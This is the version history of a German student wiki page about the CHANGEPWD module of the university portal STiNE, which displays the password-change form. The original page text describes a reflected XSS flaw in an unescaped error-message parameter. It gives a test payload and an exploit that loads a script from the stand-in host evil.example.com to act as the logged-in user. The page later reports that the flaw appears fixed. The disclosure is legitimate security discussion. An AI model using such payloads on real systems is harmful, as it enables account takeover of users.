STiNE-Modul CHANGEPWD - Versionsgeschichte

1steenfa: Bot: Kosmetische Änderungen

2012-06-08T16:49:45Z

Bot: Kosmetische Änderungen

← Nächstältere Version		Version vom 8. Juni 2012, 16:49 Uhr
Zeile 1:		Zeile 1:
	= Beschreibung =		= Beschreibung =

	Dieses Programm zeigt das Formular an, mit dem man sein Kennwort/Sicherheitsfrage ändern kann. Die eingegeben Daten werden an [[STiNE-~~Modul_CHANGEPWD_CHK~~\|CHANGEPWD_CHK]] weitergeleitet.		Dieses Programm zeigt das Formular an, mit dem man sein Kennwort/Sicherheitsfrage ändern kann. Die eingegeben Daten werden an [[STiNE-Modul CHANGEPWD CHK\|CHANGEPWD_CHK]] weitergeleitet.

	= Parameter =		= Parameter =
Zeile 33:		Zeile 33:
	Es müsste noch einen Parameter geben, mit dem man angeben können muss gleichzeitig PW und Sicherheitsfrage zu ändern ohne dass man zwei TANS braucht. Leider kam das nur beim ersten Einloggen (18.10.2006, Tobias Zwick) - Also es gibt so ein Parameter mit dem namen 'changeBoth'. Fuer mich, da ich noch beim 'ersten' Einloggen bin, steht der auf 'b'. Vielleicht steht bei dir was anderes? - Justus, 2007-06-26		Es müsste noch einen Parameter geben, mit dem man angeben können muss gleichzeitig PW und Sicherheitsfrage zu ändern ohne dass man zwei TANS braucht. Leider kam das nur beim ersten Einloggen (18.10.2006, Tobias Zwick) - Also es gibt so ein Parameter mit dem namen 'changeBoth'. Fuer mich, da ich noch beim 'ersten' Einloggen bin, steht der auf 'b'. Vielleicht steht bei dir was anderes? - Justus, 2007-06-26

	[[Kategorie: STiNE-Modul\|ChangePwd]]		[[Kategorie:STiNE-Modul\|ChangePwd]]

PatrickFey: kat:Sortierung

2008-02-25T10:37:54Z

kat:Sortierung

← Nächstältere Version		Version vom 25. Februar 2008, 10:37 Uhr
Zeile 33:		Zeile 33:
	Es müsste noch einen Parameter geben, mit dem man angeben können muss gleichzeitig PW und Sicherheitsfrage zu ändern ohne dass man zwei TANS braucht. Leider kam das nur beim ersten Einloggen (18.10.2006, Tobias Zwick) - Also es gibt so ein Parameter mit dem namen 'changeBoth'. Fuer mich, da ich noch beim 'ersten' Einloggen bin, steht der auf 'b'. Vielleicht steht bei dir was anderes? - Justus, 2007-06-26		Es müsste noch einen Parameter geben, mit dem man angeben können muss gleichzeitig PW und Sicherheitsfrage zu ändern ohne dass man zwei TANS braucht. Leider kam das nur beim ersten Einloggen (18.10.2006, Tobias Zwick) - Also es gibt so ein Parameter mit dem namen 'changeBoth'. Fuer mich, da ich noch beim 'ersten' Einloggen bin, steht der auf 'b'. Vielleicht steht bei dir was anderes? - Justus, 2007-06-26

	[[Kategorie: STiNE-Modul]]		[[Kategorie: STiNE-Modul\|ChangePwd]]

Roland Illig: +kat

2008-02-03T08:48:54Z

+kat

← Nächstältere Version		Version vom 3. Februar 2008, 08:48 Uhr
Zeile 32:		Zeile 32:

	Es müsste noch einen Parameter geben, mit dem man angeben können muss gleichzeitig PW und Sicherheitsfrage zu ändern ohne dass man zwei TANS braucht. Leider kam das nur beim ersten Einloggen (18.10.2006, Tobias Zwick) - Also es gibt so ein Parameter mit dem namen 'changeBoth'. Fuer mich, da ich noch beim 'ersten' Einloggen bin, steht der auf 'b'. Vielleicht steht bei dir was anderes? - Justus, 2007-06-26		Es müsste noch einen Parameter geben, mit dem man angeben können muss gleichzeitig PW und Sicherheitsfrage zu ändern ohne dass man zwei TANS braucht. Leider kam das nur beim ersten Einloggen (18.10.2006, Tobias Zwick) - Also es gibt so ein Parameter mit dem namen 'changeBoth'. Fuer mich, da ich noch beim 'ersten' Einloggen bin, steht der auf 'b'. Vielleicht steht bei dir was anderes? - Justus, 2007-06-26

			[[Kategorie: STiNE-Modul]]

T: CamelCaseWeg

2007-11-16T18:16:10Z

CamelCaseWeg

← Nächstältere Version		Version vom 16. November 2007, 18:16 Uhr
Zeile 1:		Zeile 1:
	= Beschreibung =		= Beschreibung =

	Dieses Programm zeigt das Formular an, mit dem man sein Kennwort[[/Sicherheitsfrage]] ändern kann. Die eingegeben Daten werden an [[STiNE-Modul_CHANGEPWD_CHK\|CHANGEPWD_CHK]] weitergeleitet.		Dieses Programm zeigt das Formular an, mit dem man sein Kennwort/Sicherheitsfrage ändern kann. Die eingegeben Daten werden an [[STiNE-Modul_CHANGEPWD_CHK\|CHANGEPWD_CHK]] weitergeleitet.

	= Parameter =		= Parameter =

PatrickFey: 1 Versionen

2007-11-06T03:32:55Z

1 Versionen

← Nächstältere Version		Version vom 6. November 2007, 03:32 Uhr
(kein Unterschied)

fsrwiki_>Oddmuse Import: link fix

2007-11-06T03:32:08Z

link fix

← Nächstältere Version		Version vom 6. November 2007, 03:32 Uhr
(kein Unterschied)

PatrickFey: 2 Versionen

2007-11-06T03:27:18Z

2 Versionen

← Nächstältere Version		Version vom 6. November 2007, 03:27 Uhr
(kein Unterschied)

fsrwiki_>Oddmuse Import: link fix

2007-11-06T03:26:00Z

link fix

← Nächstältere Version		Version vom 6. November 2007, 03:26 Uhr
Zeile 1:		Zeile 1:
	= Beschreibung =		= Beschreibung =

	Dieses Programm zeigt das Formular an, mit dem man sein Kennwort/Sicherheitsfrage ändern kann. Die eingegeben Daten werden an [[STiNE-Modul_CHANGEPWD_CHK\|CHANGEPWD_CHK]] weitergeleitet.		Dieses Programm zeigt das Formular an, mit dem man sein Kennwort[[/Sicherheitsfrage]] ändern kann. Die eingegeben Daten werden an [[STiNE-Modul_CHANGEPWD_CHK\|CHANGEPWD_CHK]] weitergeleitet.

	= Parameter =		= Parameter =

fsrwiki_>4winter am 26. Juni 2007 um 09:44 Uhr

2007-06-26T09:44:28Z

Neue Seite

= Beschreibung =

Dieses Programm zeigt das Formular an, mit dem man sein Kennwort/Sicherheitsfrage ändern kann. Die eingegeben Daten werden an [[STiNE-Modul_CHANGEPWD_CHK|CHANGEPWD_CHK]] weitergeleitet.

= Parameter =

# ''sessionno'' ('''15N''')
# ''menuid'' ('''6N''')
# ''?'' ('''A'''): anscheinend soll hiermit die angezeigte Fehlermeldung spezifiziert werden. Siehe Notizen.

= Notizen =

All das was hinter -A im dritten Parameter steht, wird in schöner roter Schrift nach fett gedrucktem "Fehler:" in die HTML geschrieben. Ob das ein ungewollter Nebeneffekt bei falscher Parametereingabe oder schlicht schlampige PRogrammierung (Fehlermeldung als Parameter?!) ist, weiß ich nicht. Aber dieser "Fehler" ist mMn eh total uninteressant. - uninteressant? Versuch -A%3Cscript%3Ealert('xss');%3C/script%3E

Ausnutzen lässt sich das ganze mit <nowiki>-A<script%20src="http://evil.example.com/spy.js"></script></nowiki>. Der Code in spy.js kann dann alle Aktionen ausführen, die ein angemeldeter Benutzer auch ausführen kann. Harmlos wäre ein automatisches Ausloggen, kritischer das Abmelden von Veranstaltungen.

Thomas von der Uni Mainz schrieb:
<pre>
Als ich am naechsten Morgen die Ergaenzung der URL um den
Javascript-Befehl vorgefuehrt habe, war der Administrator ziemlich
betroffen. Er wollte den Fehler umgehend den Datenlotsen melden. Kannst
du nachschauen, ob der Fehler noch existiert? Es waere sehr interessant
zu sehen, wie schnell der Fehler behoben wird.

Der Fehler zeigte auch eindeutig, dass es keinen
Applikationlevelfirewall *vor* oder *auf* dem Webserver gibt (zumindest
keinen der funktioniert ;-) ).
</pre>
Leider gehts immer noch :D

Nun gehts nicht mehr, jedenfalls seh ichs nicht mehr. Auch haben die Jungs von GET auf POST gewechselt . o O ( Ob das Sicherheit bringt? ) - Justus, 2007-06-26

Es müsste noch einen Parameter geben, mit dem man angeben können muss gleichzeitig PW und Sicherheitsfrage zu ändern ohne dass man zwei TANS braucht. Leider kam das nur beim ersten Einloggen (18.10.2006, Tobias Zwick) - Also es gibt so ein Parameter mit dem namen 'changeBoth'. Fuer mich, da ich noch beim 'ersten' Einloggen bin, steht der auf 'b'. Vielleicht steht bei dir was anderes? - Justus, 2007-06-26